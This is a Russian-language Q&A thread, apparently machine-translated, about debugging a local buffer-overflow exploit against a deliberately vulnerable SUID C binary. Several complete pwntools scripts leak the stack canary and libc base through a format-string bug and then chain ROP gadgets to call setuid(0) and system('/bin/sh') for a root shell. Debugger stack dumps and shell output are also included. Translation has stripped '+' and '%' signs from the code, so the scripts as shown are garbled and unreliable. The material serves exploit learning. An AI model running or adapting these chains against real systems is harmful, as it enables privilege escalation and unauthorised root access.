Получить SIGSEV при переполнении буфера

#c #segmentation-fault #buffer-overflow #pwntools

#c #ошибка сегментации #переполнение буфера #pwntools

Вопрос:

Я пытаюсь создать переполнение буфера в простом двоичном коде C x64 со всеми включенными средствами защиты (например, ASLR, canary, PIE, NX, Full RelRO — отключенное укрепление). Я использую (обновленный) дистрибутив 64-разрядного Kali Linux 2020.3 (в vmware с использованием образа vmware с официального веб-сайта offensive security). Я компилирую программу как root и включаю бит SUID для доступа к программе с правами root из непривилегированной учетной записи. Код уязвимой программы ( example5.c ) выглядит следующим образом:

 #include <stdio.h>

int main(int argc, char *argv[]){

        vuln_func(argv[1]);
        return 0;

}

void vuln_func(char *input){

        char buffer[256];

        printf(input);

        printf("n");

        gets(buffer);
}
  

и для компиляции программы я использую следующее Makefile :

 all: 
         gcc example5.c -g -Wl,-z,relro,-z,now -o example5 -fstack-protector -D_FORTIFY_SOURCE=0 
clean:
        rm example5
  

Итак, я открываю свой терминал и ввожу:

 su
<enter root password>
make
chmod u s example5
exit
  

и затем я использую эксплойт, который я создал в python 3.8.6 с использованием pwntools, для утечки canary и базового адреса libc ( libc-2.31.so ) для выполнения атаки с возвратом в libc (с использованием 2 гаджетов). Эксплойт заключается в следующем ( exploit5.py ):

 #!/usr/bin/env python3

from pwn import *

p = process(["./example5", "!$llx:A$llx:"])

leak = p.readline().decode("utf-8").split(":")

libc_base = int(leak[0], 16) - 0x1f83cc
canary = int(leak[1], 16)

log.success(f"libc base: {hex(libc_base)}")
log.success(f"stack canary: {hex(canary)}")

poprdi_ret  = p64(libc_base   0x2679e)  # pop rdi; ret

padding = b"A"*264 # junk - padding
padding  = p64(canary) # stack canary
padding  = b"B"*8 # override RBP address

"""
2 gadgets
setuid(0) - run as root 
system("/bin/sh") - execute a shell
"""
code = b""
code  = poprdi_ret # pop rdi; ret
code  = p64(0x0) # root uid
code  = p64(libc_base   0x25000   0xa70c0) # setuid address
code  = poprdi_ret # pop rdi; ret
code  = p64(libc_base   0x18a156) # /bin/sh address
code  = p64(libc_base   0x25000   0x23db0) # system address
code  = p64(libc_base   0x25000   0x195c0) # exit address

payload = padding   code

p.sendline(payload)

p.interactive()
  

Хотя значения передаются правильно, я получаю ошибку сегментации, как показано ниже:

 kali@kali:~/Desktop/boe/example5$ ./exploit5.py 
[ ] Starting local process './example5': pid 3288
[ ] libc base: 0x7ffff7df5000
[ ] stack canary: 0xccf346b075ea7800
[*] Switching to interactive mode
[*] Process './example5' stopped with exit code -11 (SIGSEGV) (pid 3288)
[*] Got EOF while reading in interactive
$ 
[*] Got EOF while sending in interactive
  

Комментарии:

1. просто примечание: ROP может быть автоматизирован с помощью ROP class

Ответ №1:

Я думаю, вы неправильно рассчитали некоторое смещение. Я изменил ваш скрипт, чтобы автоматизировать некоторые вычисления. Я использую Ubuntu 20.04 для тестирования. Кстати, вы должны использовать %p вместо %llx для адреса.

Установите точку останова после printf(input); того, как я проверил стек, я решил пойти на __libc_start_main утечку libc базы:

 pwndbg> x/50gx $rsp
0x7ffe9551fac0: 0x0000000000000000  0x00007ffe95520419 <-- First 6 arguments are in registers, so stack starts with the seventh argument
0x7ffe9551fad0: 0x0000034000000340  0x0000034000000340
0x7ffe9551fae0: 0x0000034000000340  0x0000034000000340
0x7ffe9551faf0: 0x0000034000000340  0x0000034000000340
0x7ffe9551fb00: 0x0000034000000340  0x0000034000000340
0x7ffe9551fb10: 0x0000034000000340  0x0000034000000340
0x7ffe9551fb20: 0x0000034000000340  0x0000034000000340
0x7ffe9551fb30: 0x0000034000000340  0x0000034000000340
0x7ffe9551fb40: 0x0000000000000000  0x0000000000000100
0x7ffe9551fb50: 0x0000000000000000  0x0000000000000000
0x7ffe9551fb60: 0x0000000000000000  0x0000000000000000
0x7ffe9551fb70: 0x0000000000000000  0x0000000000000000
0x7ffe9551fb80: 0x0000000000000000  0x0000000000000000
0x7ffe9551fb90: 0x0000000000000000  0x0000000000000000
0x7ffe9551fba0: 0x000055f431237040  0x0000000000f0b5ff
0x7ffe9551fbb0: 0x00000000000000c2  0x00007ffe9551fbe7
0x7ffe9551fbc0: 0x00007ffe9551fbe6  0x000055f43123829d
0x7ffe9551fbd0: 0x00007fa277732fc8  0xb0b4adcb5c037800
0x7ffe9551fbe0: 0x00007ffe9551fc00  0x000055f4312381d4
0x7ffe9551fbf0: 0x00007ffe9551fcf8  0x0000000200000000
0x7ffe9551fc00: 0x0000000000000000  0x00007fa2775690b3 <-- I choose this address
0x7ffe9551fc10: 0x00007fa277778620  0x00007ffe9551fcf8
0x7ffe9551fc20: 0x0000000200000000  0x000055f4312381a9
0x7ffe9551fc30: 0x000055f431238250  0x647176ddde9b26f8
0x7ffe9551fc40: 0x000055f4312380c0  0x00007ffe9551fcf0
pwndbg> x/i 0x00007fa2775690b3
   0x7fa2775690b3 <__libc_start_main 243>:  mov    edi,eax
pwndbg> 
  

Использовать:

 #!/usr/bin/env python3

from pwn import *

p = process(["./example5", "A$p:G$p:"])
elf = ELF('./example5')
lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')

leak = p.readline().decode("utf-8").split(":")

canary = int(leak[0], 16)
libc_base = int(leak[1], 16) - lib.symbols['__libc_start_main'] - 243 # In my Ubuntu, %47$p is __libc_start_main 243, you should check your debugger

log.success(f"libc base: {hex(libc_base)}")
log.success(f"stack canary: {hex(canary)}")

poprdi_ret_gadget = 0x0000000000026b72            # ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi"
poprdi_ret  = p64(libc_base   poprdi_ret_gadget)  # pop rdi; ret

padding = b"A"*264     # junk - padding
padding  = p64(canary) # stack canary
padding  = b"B"*8      # override RBP address

"""
2 gadgets
setuid(0) - run as root 
system("/bin/sh") - execute a shell
"""
code = b""
code  = poprdi_ret                                    # pop rdi; ret
code  = p64(0x0)                                      # root uid
code  = p64(libc_base   lib.symbols['setuid'])        # setuid address
code  = poprdi_ret                                    # pop rdi; ret
code  = p64(libc_base   next(lib.search(b'/bin/sh'))) # /bin/sh address
code  = p64(libc_base   lib.symbols['system'])        # system address
code  = p64(libc_base   lib.symbols['exit'])          # exit address

payload = padding   code
p.sendline(payload)
p.interactive()
  

Результат:

 zeltrax@ubuntu:~$ python3 test.py 
[ ] Starting local process './example5': pid 2507
[*] '/home/zeltrax/example5'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[ ] libc base: 0x7fcc1f376000
[ ] stack canary: 0x5741569d0b8c9d00
[*] Switching to interactive mode
$ ls
a.out  Desktop           HeapLAB     pwn1         sandbox.py  test.py
bf.py  Dockerfile_example  libc.so.6   pwn2         solve2.py     tools
core   example5           msfinstall  random_gen    test.c     zeltrax00.ovpn
c.py   flag.txt           pictures    readfile.asm  test.o
$ whoami
zeltrax
$  
  

Ответ №2:

Прежде всего, спасибо, что помогли мне. Во-вторых, спасибо за подсказку о %p . В-третьих, большое вам спасибо в целом. Это была глупая ошибка. libc_base По какой-то причине я неправильно рассчитал смещение (как вы сказали), 0x1f83cc хотя я должен был использовать 0x1f73cc . Я так много узнал о pwntools из вашего кода. Итак, последний эксплойт на моей машине будет:

 #!/usr/bin/env python3

from pwn import *


p = process(["./example5", "!$p:A$p:"])
lib = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')

leak = p.readline().decode("utf-8").split(":")

libc_base = int(leak[0], 16) - 0x1f73cc
canary = int(leak[1], 16)

log.success(f"libc base: {hex(libc_base)}")
log.success(f"stack canary: {hex(canary)}")

poprdi_ret  = p64(libc_base   0x2679e)                  # pop rdi; ret

padding = b"A"*264                                      # junk - padding
padding  = p64(canary)                                  # stack canary
padding  = b"B"*8                                       # override RBP address

code = b""
code  = poprdi_ret                                      # pop rdi; ret
code  = p64(0x0)                                        # root uid
code  = p64(libc_base   lib.symbols['setuid'])          # setuid address
code  = poprdi_ret                                      # pop rdi; ret
code  = p64(libc_base   next(lib.search(b'/bin/sh')))   # /bin/sh address
code  = p64(libc_base   lib.symbols['system'])          # system address
code  = p64(libc_base   lib.symbols['exit'])            # exit address

payload = padding   code

p.sendline(payload)

p.interactive()
  

Еще раз спасибо!